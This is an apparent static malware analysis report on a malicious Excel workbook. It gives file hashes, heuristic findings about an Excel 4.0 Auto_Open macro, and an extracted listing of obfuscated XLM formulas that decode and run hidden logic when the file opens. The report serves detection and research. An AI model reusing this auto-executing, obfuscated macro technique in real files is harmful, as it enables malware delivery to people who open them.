Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5de60df87204e46f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:00 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: a5dbd9f6b1d43b9de869667c5b5e15e5 SHA-1: 929a7120faf812b1f7c308861e3d60030de3b145 SHA-256: 5de60df87204e46f0368272512d6f10d33ecf6ebe2960ec0e3cb758006f76470
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6795 bytes
SHA-256: 5edba4556a2502589c80037bbd96f86aad9c490213cb51d23670390daca1b002
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  siDsADmYB
' 0018     27 LABEL : Cell Value, String Constant - AnaQQnufAHpE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D184 
' 0018     23 LABEL : Cell Value, String Constant - EDJynzSo len=0 
' 0018     21 LABEL : Cell Value, String Constant - ermaRD len=0 
' 0018     21 LABEL : Cell Value, String Constant - eVvLmo len=0 
' 0018     21 LABEL : Cell Value, String Constant - GyavVS len=0 
' 0018     24 LABEL : Cell Value, String Constant - hFRKwZiFS len=0 
' 0018     23 LABEL : Cell Value, String Constant - IJolfqei len=0 
' 0018     24 LABEL : Cell Value, String Constant - LrpKEnHsx len=0 
' 0018     27 LABEL : Cell Value, String Constant - PHqfPHERqiPn len=0 
' 0018     27 LABEL : Cell Value, String Constant - qhbUaxgkFusV len=0 
' 0018     23 LABEL : Cell Value, String Constant - trtkUxep len=0 
' 0018     21 LABEL : Cell Value, String Constant - UEKTkF len=0 
' 0018     27 LABEL : Cell Value, String Constant - uGgCluiZbCwU len=0 
' 0018     24 LABEL : Cell Value, String Constant - unmcrSJcu len=0 
' 0018     20 LABEL : Cell Value, String Constant - vXkyA len=0 
' 0018     24 LABEL : Cell Value, String Constant - vzmDesQon len=0 
' 0018     24 LABEL : Cell Value, String Constant - wVqCCKZsq len=0 
' 0018     24 LABEL : Cell Value, String Constant - YmlBjeuSI len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZjWcD len=0 
' 0018     21 LABEL : Cell Value, String Constant - zMzJLH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  siDsADmYB,R47,"",25.00000000000000000000
'  siDsADmYB,R48,"",-960.00000000000000000000
'  siDsADmYB,R49,"",-582.00000000000000000000
'  siDsADmYB,R50,"",881.00000000000000000000
'  siDsADmYB,R51,"",-703.00000000000000000000
'  siDsADmYB,R52,"",877.00000000000000000000
'  siDsADmYB,D94,"SET.NAME("YmlBjeuSI",0+VALUE("0"))",""
'  siDsADmYB,D97,"SET.NAME("zMzJLH",YmlBjeuSI)",""
'  siDsADmYB,D101,"SET.NAME("eVvLmo",YmlBjeuSI)",""
'  siDsADmYB,D104,"SET.NAME("hFRKwZiFS",COUNTA(qhbUaxgkFusV))",""
'  siDsADmYB,D106,"SET.NAME("IJolfqei",COUNTA(LrpKEnHsx))",""
'  siDsADmYB,D111,[],""
'  siDsADmYB,D113,"SET.NAME("trtkUxep","")",""
'  siDsADmYB,D116,"zMzJLH",""
'  siDsADmYB,D121,"SET.NAME("EDJynzSo",HLOOKUP("*",qhbUaxgkFusV,zMzJLH,FALSE))",""
'  siDsADmYB,D123,"ZjWcD",""
'  siDsADmYB,D128,"SET.NAME("PHqfPHERqiPn",YmlBjeuSI)",""
'  siDsADmYB,D130,[],""
'  siDsADmYB,D133,"PHqfPHERqiPn",""
'  siDsADmYB,D138,"ermaRD",""
'  siDsADmYB,D142,"UEKTkF",""
'  siDsADmYB,D145,"wVqCCKZsq",""
'  siDsADmYB,D149,"SET.NAME("vXkyA",VALUE(HLOOKUP("*",LrpKEnHsx,wVqCCKZsq,FALSE)))",""
'  siDsADmYB,D154,"AnaQQnufAHpE",""
'  siDsADmYB,D156,"trtkUxep",""
'  siDsADmYB,D161,"eVvLmo",""
'  siDsADmYB,D165,NEXT(),""
'  siDsADmYB,D167,"vzmDesQon",""
'  siDsADmYB,D170,[],""
'  siDsADmYB,D172,"GyavVS",""
'  siDsADmYB,D177,NEXT(),""
'  siDsADmYB,D181,RETURN(),""
'  siDsADmYB,D208,"SET.NAME("uGgCluiZbCwU",D94)",""
'  siDsADmYB,D210,"qhbUaxgkFusV",""
'  siDsADmYB,D214,"SET.NAME("LrpKEnHsx",R60C13)",""
'  siDsADmYB,D216,"SET.NAME("GyavVS",224)",""
'  siDsADmYB,D218,"SET.NAME("unmcrSJcu",4)",""
'  siDsADmYB,D223,uGgCluiZbCwU(),""
'  siDsADmYB,D224,HALT(),""

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